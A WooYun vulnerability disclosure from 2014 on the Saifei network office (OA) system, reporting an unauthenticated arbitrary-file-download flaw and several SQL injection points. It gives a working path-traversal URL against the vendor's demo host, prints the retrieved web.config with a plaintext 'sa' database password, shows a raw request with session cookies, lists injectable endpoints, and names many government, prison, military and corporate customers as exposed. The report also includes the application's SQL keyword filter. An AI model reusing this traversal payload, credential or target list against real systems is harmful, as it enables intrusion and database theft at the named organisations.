当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-076554

漏洞标题: 赛飞网络办公系统N处SQL注入漏洞+任意文件下载漏洞

相关厂商:赛飞软件

漏洞作者: 路人甲

提交时间:2014-09-19 17:36

修复时间:2014-12-18 17:38

公开时间:2014-12-18 17:38

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-09-19: 细节已通知厂商并且等待厂商处理中
2014-09-24: 厂商已经确认,细节仅向厂商公开
2014-09-27: 细节向第三方安全合作伙伴开放
2014-11-18: 细节向核心白帽子及相关领域专家公开
2014-11-28: 细节向普通白帽子公开
2014-12-08: 细节向实习白帽子公开
2014-12-18: 细节向公众公开

简要描述:

详细说明:

1、官方说明如下:
http://www.isoffice.cn/Web/Index/WebDetail/customer
2、涉及客户如下:
多到吓死人

2.jpg


山西省粮食局
江西省核工业地质局
河北省水文水资源勘测局
青海省工商行政管理局
山东省渔业船舶检验局
内蒙古自治区旅游局
中共河南永城市委
北京市可持续发展科技促进中心
西安市政工程管理处
西安市浐灞生态区管委会
天津河北区卫生局
南京下关区民政局
江苏吴江市审计局
新余高新开发区管委会
萍乡市中小企业局
吉安市农业综合开发办
江西乐平民政局
内蒙古鄂尔多斯市畜牧业局
内蒙古通辽市国土资源局
河北井陉国土资源局
四川省万源市国土资源局
四川省万源市建设局
山西济宁国土资源局
新疆伊犁州党委组织部
新疆察布查尔检察院
新疆察布查尔县县委机要局
新疆察布查尔县政府
新疆巴州科技局
江苏盐都建设工程交易中心
南宁市土地管理信息中心
湖北省松滋市交通局
湖北荆门环境保护局
湖北十堰公路管理局
湖北当阳卫生局
山东省广饶经贸局
广州市民政局
河南济源市建委
四川乐山市建委
四川乐山民政局
四川泸州教育局
四川泸洲长江航道局
重庆荣昌教育局
云南昆明官渡区路灯管理处
浙江桐乡市人民检察院
陕西延川人民检察院
黔东南苗族侗族自治洲从江县政府
大兴安岭十八站林业局
河南安阳市农业局
新疆乌鲁木齐煤炭工业管理局
吉林省汪清民政局
中共贵州织金县委组织部
内蒙古呼伦贝尔人事局
湖北省房县人民政府
湖北省武汉市洪山区卫生局
湖北省枣阳市质量技术监督局
西藏昌都地区行政公署
安徽省宣城市泾县泾川镇政府
新疆玛纳斯人民检察院
四川省乐山市广电局
湖南省郴州市林业局森林公安分局
浙江省长湖监狱
柳州市疾病预防控制中心
内蒙古巴彦淖尔市教育中心
湖北省黄石市广播电视局
湖北省竹溪县人民政府
湛江市人口和计划生育局
浙江省湖州监狱
河南正阳人口计生委
营口市广播电视中心
内蒙古通辽市奈曼旗农电局
湖南省株洲市天元区招商局
新疆吉木乃县检察院
广西壮族自治区戒毒局
株洲高新区招商合作局
湖北省十堰市民政局
浙江省第三监狱
浙江省未成年犯管教所
广西第一强制隔离戒毒所
广西第二强制隔离戒毒所
广西第三强制隔离戒毒所
广西第四强制隔离戒毒所
广西第五强制隔离戒毒所
广西第六强制隔离戒毒所
广西女子强制隔离戒毒所
延安市人口和计划生育局
山东省乳山市民政局
江西省机构编制委员会
中国共产党塔城地委组织部
阿拉善左旗巴彦浩特政府
陕西汉中计生局
九江市森林公安局
阜宁地方税务局
广西崇左市江州区教育系统
包头市达茂旗旗委
呼和浩特市机场办
江西省赣江监狱
赣州市质量技术监督局
广西壮族自治区北海戒毒康复所
诏安县国土资源局
陕西省安康市汉滨区新城办事处
彝良县城市规划建设管理委员会联合...
黄梅县质量技术监督局
忻州市煤炭网络数据中心
中国共产党昆明市东川区委员会宣传...
南昌县南新乡党政办公室
广德县住房和城乡建设委员会
滨州市建筑企业养老保障金管理中心
中国共产党董家湾北段社区支部委员...
国防军工
中国人民解放军9XXXX部队
中国人民解放军7XXXX部队
中国人民解放军7XXXX部队
大庆市人民防空办公室
本溪市人民防空办公室
科教文体
华东交大成教院
中共江西省委党校
江西建设职业技术学院
南昌航空工业学院
江西现代职业技术学院
云南师范大学
新疆塔里木农垦大学
广东肇庆学院
宁夏煤炭科学技术研究所
上海农业生物基因中心
广西基础地理信息中心
江西省国防科技情报所
新疆音像出版社
南昌市图书馆
东莞旗岭文化传播有限公司
北大方正软件学院
新疆克孜勒苏广播电视大学
湖南文化潇湘集团
云南省机械研究设计院
贵州红梦民族文化发展有限公司
邛崃市育才学校
北京观塘尚然文化传媒有限公司呼和...
莱西市李权庄镇海尔希望小学
广州市白云区汉韵文化教育培训中心
保山市隆阳区芒宽乡中心学校
山西印象华歌文化传媒有限公司
河北红元素文化传媒有限公司
中英才智(英国)管理咨询有限公司
河南杨金高科技创业园发展有限公司
广东占大文化有限公司
太原市魔方文化传媒有限公司
重庆第二师范学院经济与工商管理系
深圳市汇杰美真文化创意发展有限公...
生产制造
江西杭萧通力钢构有限公司
江西长林机械集团
上海振华港机公司长兴基地
武汉钢铁集团公司
武钢建工集团电气有限责任公司
上伯电子零组件(吴江)有限公司
上伯塑胶(马来西亚)有限公司
青岛橡六集团
安徽宁国双津集团
甘肃刘化集团有限责任公司
内蒙古根河板业有限公司
广西百合化工股份有限公司
中信机电车桥有限责任公司
河南焦作神华重机制造公司
河南安阳全丰农药化工有限责任公司
苏州西格玛木业有限公司
江苏双灯纸业有限公司
广州金花食品有限公司
武汉富尔仕食品有限公司
南宁越前食品添加剂有限公司
重庆川仪十一厂有限公司
天津应氏服饰有限公司
贵州省华昌汽车电器有限公司
襄樊大力工业控制有限公司
温州瑞大汽车零部件有限公司
浙江保一阀门集团有限公司
常州中化勤丰塑料有限公司
深圳正梓源电子实业有限公司
浙江湖州润源塑料厂
佛山市显威五金塑料有限公司
广东南海尚丰家具有限公司
中山飞时电器有限公司
哈尔滨森鹰窗业股份有限公司
武汉泰普变压器开关有限公司
吉林四平艾斯克机电开发有限公司
天津市红日电气自动化有限公司
四川乐山普瑞美新材料有限公司
浙江黄华电气有限公司
江苏徐州泛亚物业管理有限公司
浙江上峰包装集团
内蒙古乌兰水泥集团公司
天津长芦海晶集团有限公司
南宁南星汽车配件有限公司
江西华腾地毯产业园有限公司
新余钢城实业公司
江西新王龙实业有限公司
中国水电八局机电制安分局景洪项目...
宁波格林特电器有限公司
江西信达长林机械有限公司
天津市宝来工贸有限公司
赣州发电设备成套制造有限公司
武钢北湖农工商公司
DMS中国上海支社
云南勐象竹业有限公司
辽宁金鼎镁矿集团有限公司
天津市亚东化工染料厂
江苏常隆客车有限公司
内蒙古宜化化工有限公司
中国阿特拉斯工程机械有限公司
湖北神鹰汽车有限责任公司
浙江长征化工有限公司
天水华圆制药设备科技有限责任公司
聊城市华明机械配件有限公司
上海笠恒包装印刷技术有限公司
厦门市泓鑫工贸有限公司
沈阳大吉实业有限公司
武汉武钢北湖富祥冶金炉料有限公司
厦门市诞尼鹭服饰有限公司
哈尔滨纳诺机械设备有限公司
南京华实齿轮传动设备有限公司
广东宝乐堡儿童用品有限公司
青州新展新材料科技有限公司
广东粤师傅调味食品有限公司
天津市环宇橡塑股份有限公司
重庆满全机电设备有限公司
山东东阿山水薄板有限公司
林州光远新材料科技有限公司
中国振华电子集团新天动力有限公司
武汉市达力纸业有限公司
潮州市捷美工艺品有限公司
河南威猛振动设备股份有限公司
湖北家易洁清洁用品制造有限责任公...
汇网电气有限公司
成都仙童科技有限公司
北京工正装饰工程有限公司
北京中测世纪科技发展有限公司
合肥市琨源石业有限公司
广东德肯照明科技有限公司
深圳市佳骏兴科技有限公司
上海腾音实业有限公司
深圳市不倒翁化妆品有限公司
长乐东港纺织有限公司
苏州科业达自动化科技有限公司
温州市南晶电气科技有限公司
惠州市华韵木业有限公司
佛山市家好美电器制造有限公司
重庆智博粉末冶金限公司
劲旅环境科技有限公司
东莞市星擎电子科技有限公司
宜都市仝鑫精密锻造有限公司
南京百世利服饰有限公司
江西技精能电源科技有限公司
.......
0x01 任意文件下载漏洞(无需登录)
官网演示
oa.isoffice.cn/FrmDownFile.aspx?FileOraName=1.txt&FileType=.txt&strName=../web.config

4.jpg


<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<configSections>
<sectionGroup name="applicationSettings" type="System.Configuration.ApplicationSettingsGroup, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089">
<section name="SFOAV5._0.Properties.Settings" type="System.Configuration.ClientSettingsSection, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" requirePermission="false" />
</sectionGroup>
</configSections>
<appSettings>
<add key="aspnet:MaxHttpCollectionKeys" value="5000" />
<add key="strConn" value="server=192.168.0.1;database=SFOAV5;uid=sa;pwd=123456" />
<add key="CASHost" value="" />
<add key="ServiceURL" value="" />
<add key="Filter" value="xp_-XP_$$sp_-SP_$$[ | |\)|\]|\']+(or)[ | |\(|\[|\']+- or $$[ | |\)|\]|\']+(and)[ | |\(|\[|\']+- and $$exec[ | |\[]+-exec $$dbcc[ | |\[]+-dbcc $$(alter[ | ])|([ | |\)|\]|\']alter[ | ])+-alter $$(drop[ | ])|([ | |\)|\]|\']drop[ | ])-drop $$(insert[ | ])|([ | |\)|\]|\']insert[ | ])-insert $$(update[ | |\[]+)|[ | |\)|\]|\']+(update[ | |\[]+)-update $$(delete[ | |\[]+)|([ | |\)|\]|\']delete[ | |\[]+)+-delete $$count-count$$master-master$$(truncate[ | ])|([ | |\)|\]|\']truncate[ | ])+-truncate $$char[ | ]+-char $$char\(-char($$declare[ | ]+-declare $$[ | |\)|\]]+where[ | |\(|\[]+-where $$set[ | |\[]+-set $$mid[ | |(]+-mid $$chr[ | |(]+-chr $$net[ | ]+-net $$backup[ | ]+-backup " />
</appSettings>
<connectionStrings>
<add name="strConn" connectionString="server=127.0.0.1;database=sfoav5;uid=sa;pwd=w@soffice86960380L" />
<add name="strConn2" connectionString="" />
<add name="MailType" connectionString="1" />
<add name="MailServer" connectionString="192.168.0.32" />
<add name="MailDNS" connectionString="202.101.224.68" />
<add name="MenuTech" connectionString="0" />
<!--<add name="Control" connectionString="0"/>-->
<add name="Store" connectionString="0" />
<add name="MenuUpload" connectionString="1" />
<add name="EpmSystem" connectionString="1" />
<add name="App" connectionString="0" />
<!--<add name="Lite" connectionString="0"/>-->
<add name="SunUrl" connectionString="" />
</connectionStrings>
<system.web>
<webServices>
<protocols>
<add name="HttpPost" />
<add name="HttpGet" />
</protocols>
</webServices>
<pages enableViewStateMac="false" enableEventValidation="false" validateRequest="false" controlRenderingCompatibilityVersion="3.5" clientIDMode="AutoID" />
<!-- 动态调试编译 设置 compilation debug="true" 以启用 ASPX 调试。否则,将此值设置为
false 将提高此应用程序的运行时性能。 设置 compilation debug="true" 以将调试符号(.pdb 信息)
插入到编译页中。因为这将创建执行起来 较慢的大文件,所以应该只在调试时将此值设置为 true,而在所有其他时候都设置为 false。有关更多信息,请参考有关 调试 ASP.NET 文件的文档。 -->
<compilation defaultLanguage="c#" debug="true" targetFramework="4.0" />
<!-- 自定义错误信息 设置 customErrors mode="On" 或 "RemoteOnly" 以启用自定义错误信息,或设置为 "Off" 以禁用自定义错误信息。
为每个要处理的错误添加 <error> 标记。 "On" 始终显示自定义(友好的)信息。 "Off" 始终显示详细的 ASP.NET 错误信息。 "RemoteOnly" 只对不在本地 Web 服务器上运行的 用户显示自定义(友好的)信息。出于安全目的,建议使用此设置,以便
不向远程客户端显示应用程序的详细信息。 -->
<customErrors mode="Off" defaultRedirect="SysError.aspx" />
<!-- 身份验证
此节设置应用程序的身份验证策略。可能的模式是 "Windows"、
"Forms"、 "Passport" 和 "None"
"None" 不执行身份验证。
"Windows" IIS 根据应用程序的设置执行身份验证
(基本、简要或集成 Windows)。在 IIS 中必须禁用匿名访问。 "Forms" 您为用户提供一个输入凭据的自定义窗体(Web 页),然后
在您的应用程序中验证他们的身份。用户凭据标记存储在 Cookie 中。 "Passport" 身份验证是通过 Microsoft 的集中身份验证服务执行的, 它为成员站点提供单独登录和核心配置文件服务。 -->
<!--<identity impersonate="true" userName="IUSR_PC2011051123OBY" password="123456"/>-->
<authentication mode="Windows" />
<!-- 授权
此节设置应用程序的授权策略。可以允许或拒绝不同的用户或角色访问
应用程序资源。通配符: "*" 表示任何人,"?" 表示匿名
(未经身份验证的)用户。 -->
<authorization>
<allow users="*" />
<!-- 允许所有用户 -->
<!-- <allow users="[逗号分隔的用户列表]"
roles="[逗号分隔的角色列表]"/>
<deny users="[逗号分隔的用户列表]"
roles="[逗号分隔的角色列表]"/>
-->
</authorization>
<!-- 应用程序级别跟踪记录
应用程序级别跟踪为应用程序中的每一页启用跟踪日志输出。 设置 trace enabled="true" 可以启用应用程序跟踪记录。如果 pageOutput="true",则
在每一页的底部显示跟踪信息。否则,可以通过浏览 Web 应用程序
根目录中的 "trace.axd" 页来查看
应用程序跟踪日志。 -->
<trace enabled="false" requestLimit="10" pageOutput="false" traceMode="SortByTime" localOnly="true" />
<!-- 会话状态设置 默认情况下,ASP.NET 使用 Cookie 来标识哪些请求属于特定的会话。 如果 Cookie 不可用,则可以通过将会话标识符添加到 URL 来跟踪会话。 若要禁用 Cookie,请设置 sessionState cookieless="true"。 -->
<sessionState mode="InProc" stateConnectionString="tcpip=192.168.0.30:42424" sqlConnectionString="data source=192.168.0.30;Trusted_Connection=yes" cookieless="false" timeout="20" />
<httpModules>
<add name="HttpUploadModule" type="Openlab.Web.Upload.HttpUploadModule, Openlab.Web.Upload" />
</httpModules>
<httpRuntime maxQueryStringLength="2097151" maxRequestLength="2147483647" executionTimeout="1800" requestValidationMode="2.0" />
<!-- 全球化 此节设置应用程序的全球化设置。 -->
<globalization requestEncoding="gb2312" responseEncoding="gb2312" />
<mobileControls cookielessDataDictionaryType="System.Web.Mobile.CookielessData" />
<deviceFilters>
<filter name="isJPhone" compare="Type" argument="J-Phone" />
<filter name="isHTML32" compare="PreferredRenderingType" argument="html32" />
<filter name="isWML11" compare="PreferredRenderingType" argument="wml11" />
<filter name="isCHTML10" compare="PreferredRenderingType" argument="chtml10" />
<filter name="isGoAmerica" compare="Browser" argument="Go.Web" />
<filter name="isMME" compare="Browser" argument="Microsoft Mobile Explorer" />
<filter name="isMyPalm" compare="Browser" argument="MyPalm" />
<filter name="isPocketIE" compare="Browser" argument="Pocket IE" />
<filter name="isUP3x" compare="Type" argument="Phone.com 3.x Browser" />
<filter name="isUP4x" compare="Type" argument="Phone.com 4.x Browser" />
<filter name="isEricssonR380" compare="Type" argument="Ericsson R380" />
<filter name="isNokia7110" compare="Type" argument="Nokia 7110" />
<filter name="prefersGIF" compare="PreferredImageMIME" argument="image/gif" />
<filter name="prefersWBMP" compare="PreferredImageMIME" argument="image/vnd.wap.wbmp" />
<filter name="supportsColor" compare="IsColor" argument="true" />
<filter name="supportsCookies" compare="Cookies" argument="true" />
<filter name="supportsJavaScript" compare="Javascript" argument="true" />
<filter name="supportsVoiceCalls" compare="CanInitiateVoiceCall" argument="true" />
</deviceFilters>
<xhtmlConformance mode="Legacy" />
</system.web>
<system.webServer>
<modules>
<add name="HttpUploadModule" type="Openlab.Web.Upload.HttpUploadModule, Openlab.Web.Upload" preCondition="integratedMode" />
</modules>
<validation validateIntegratedModeConfiguration="false" />
<security>
<requestFiltering>
<requestLimits maxQueryString="904800" maxAllowedContentLength="2147483647" />
</requestFiltering>
</security>
<staticContent>
<remove fileExtension=".xpi" />
<remove fileExtension=".grf" />
<remove fileExtension=".crx" />
<mimeMap fileExtension=".xpi" mimeType="application/x-xpinstall" />
<mimeMap fileExtension=".grf" mimeType="text/html" />
<mimeMap fileExtension=".crx" mimeType="application/x-chrome-extension" />
</staticContent>
<defaultDocument>
<files>
<add value="default.aspx" />
</files>
</defaultDocument>
</system.webServer>
<system.serviceModel>
<bindings>
<basicHttpBinding>
<binding name="SFOAWebServiceSoap" maxReceivedMessageSize="99999999" />
</basicHttpBinding>
<customBinding>
<binding name="SFOAWebServiceSoap12">
<textMessageEncoding messageVersion="Soap12" />
<httpTransport />
</binding>
</customBinding>
</bindings>
<client>
<endpoint address="http://www.isoffice.com.cn/sfoav5/WebService/SFOAWebService.asmx" binding="basicHttpBinding" bindingConfiguration="SFOAWebServiceSoap" contract="ServiceReference1.SFOAWebServiceSoap" name="SFOAWebServiceSoap" />
</client>
</system.serviceModel>
<applicationSettings>
<SFOAV5._0.Properties.Settings>
<setting name="SFOAV5_0_ISoffice_SPS_WebService" serializeAs="String">
<value>http://sps.isoffice.cn/webservice.asmx</value>
</setting>
</SFOAV5._0.Properties.Settings>
</applicationSettings>
</configuration>


其中即可获取数据库用户名和密码。如果脱个库真方便

<add name="strConn" connectionString="server=127.0.0.1;database=sfoav5;uid=sa;pwd=w@soffice86960380L" />


以上为数据库用户名和密码,如果开放端口外联了,直接取shell。。。。

其中我们可以看到他进行了过滤

<add key="Filter" value="xp_-XP_$$sp_-SP_$$[ | |\)|\]|\']+(or)[ | |\(|\[|\']+- or $$[ | |\)|\]|\']+(and)[ | |\(|\[|\']+- and $$exec[ | |\[]+-exec $$dbcc[ | |\[]+-dbcc $$(alter[ | ])|([ | |\)|\]|\']alter[ | ])+-alter $$(drop[ | ])|([ | |\)|\]|\']drop[ | ])-drop $$(insert[ | ])|([ | |\)|\]|\']insert[ | ])-insert $$(update[ | |\[]+)|[ | |\)|\]|\']+(update[ | |\[]+)-update $$(delete[ | |\[]+)|([ | |\)|\]|\']delete[ | |\[]+)+-delete $$count-count$$master-master$$(truncate[ | ])|([ | |\)|\]|\']truncate[ | ])+-truncate $$char[ | ]+-char $$char\(-char($$declare[ | ]+-declare $$[ | |\)|\]]+where[ | |\(|\[]+-where $$set[ | |\[]+-set $$mid[ | |(]+-mid $$chr[ | |(]+-chr $$net[ | ]+-net $$backup[ | ]+-backup " />


0x02 SQL注入(一)

GET /FrmMenuURL.aspx?ID=430 HTTP/1.1
Host: oa.isoffice.cn
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://oa.isoffice.cn/indexnew.aspx
Cookie: Hm_lvt_9f77501cb52bcbcaacbe546cf8ac3644=1411040329; UserName=dGVzdA%3D%3D%26; UserPwd=c29mZmljZQ%3D%3D%26; ASP.NET_SessionId=oclux2raem4tvc1ufab2v10a; SFOAUserCode=test; SFOAUserName=%b2%e2%ca%d4%d3%c3%bb%a7; SFOADeptName=%be%ad%c0%ed%b0%ec; SFOADeptID=1; SFOAWorker=%d7%dc%be%ad%c0%ed; SFOARoleID=81; SFOASysManager=; SFOAStyle=new; SFOAUserIkey=false; SFOAHeadColorR=198; SFOAHeadColorG=198; SFOAHeadColorB=198; SFOAMidColor=%23f0f0f0; SFOAMoveColor=%23e7e7e7; SFOAIPAddress=113.12.200.179; PageIndex=1; OrderInfo=; SFOA16Color=%23c6c6c6; Hm_lpvt_9f77501cb52bcbcaacbe546cf8ac3644=1411041098
Connection: keep-alive


1.jpg


0x02 SQL注入
http://oa.isoffice.cn/AdverInfo/ShowAdverInfo.aspx?id=1767

3.jpg


由于程序本身存在过滤以及加上上了360的防护。需绕过注数据
http://oa.isoffice.cn/WorkPlan/WaitingWork.aspx
http://oa.isoffice.cn/ExamInfo/PrintPaper.aspx?ID=17

漏洞证明:

<add name="strConn" connectionString="server=127.0.0.1;database=sfoav5;uid=sa;pwd=w@soffice86960380L" />


以上为数据库用户名和密码,如果开放端口外联了,直接取shell。。。。

修复方案:

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:17

确认时间:2014-09-24 08:27

厂商回复:

最新状态:

暂无